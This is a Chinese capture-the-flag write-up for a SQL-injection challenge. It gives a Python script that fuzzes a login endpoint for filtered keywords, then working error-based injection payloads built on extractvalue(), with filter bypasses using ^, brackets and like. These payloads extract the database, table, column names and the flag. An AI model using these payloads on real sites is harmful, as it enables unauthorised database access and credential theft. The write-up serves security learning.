基础知识
基于extractvalue()和updatexml()的报错注入
FUZZ测试
写一个python 脚本跑一下屏蔽了什么关键字。
import requests
fuzzdict = open('sqldict.txt').readlines()
#sqldict.txt 存放了测试数据,按行读取
url='http://a247ca21-77c7-4087-b935-b40f8bc38fa1.node4.buuoj.cn:81/check.php'
Passtext = 'Wrong username password'
Failtext = '你可别被我逮住了,臭弟弟'
def Getrequest(dict):
for i in dict:
i = i.replace('\n','')
#print(i)
payload = url+'?username=test&password='+ i
#print(payload)
try:
res = requests.get(url=payload,timeout=1)
except:
print("报错")
if Passtext in res.text:
print(i,'没有被过滤')
if Failtext in res.text:
print(i,'被过滤')
if __name__ =='__main__':
Getrequest(fuzzdict)
没有被屏蔽的关键字有extractvalue ^ concat group where,而且网页可以显示报错信息,在这里选择报错注入
解题过程
爆数据库
因为or关键字也被屏蔽了,所以就使用^代替,空格也被屏蔽了,就使用括号代替
?username=44&password=test'^extractvalue('testtest',concat('^',(select(database()))))%23
爆表名
因为等号‘=’被屏蔽了,所以用like代替
?username=44&password=test%27^extractvalue(%27testtest%27,concat(%27^%27,(select(table_name)from(information_schema.tables)where(table_schema)like%27geek%27)))%23
爆列名
?username=44&password=test%27^extractvalue(%27testtest%27,concat(%27^%27,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like(%27H4rDsq1%27)))))%23
爆表里面的内容(前32位)
?username=44&password=test%27^extractvalue(%27testtest%27,concat(%27~%27,(select(group_concat(id,username,password))from(geek.H4rDsq1))))%23
flag{33b9ea82-e13b-406f-b8
爆表里面的内容(后几位)
其中substr函数被过滤,使用left进行代替
?username=44&password=test%27^extractvalue(%27testtest%27,concat(%27~%27,right((select(group_concat(id,username,password))from(geek.H4rDsq1)),30)))%23
-e13b-406f-b83c-1c8d0c60ba36}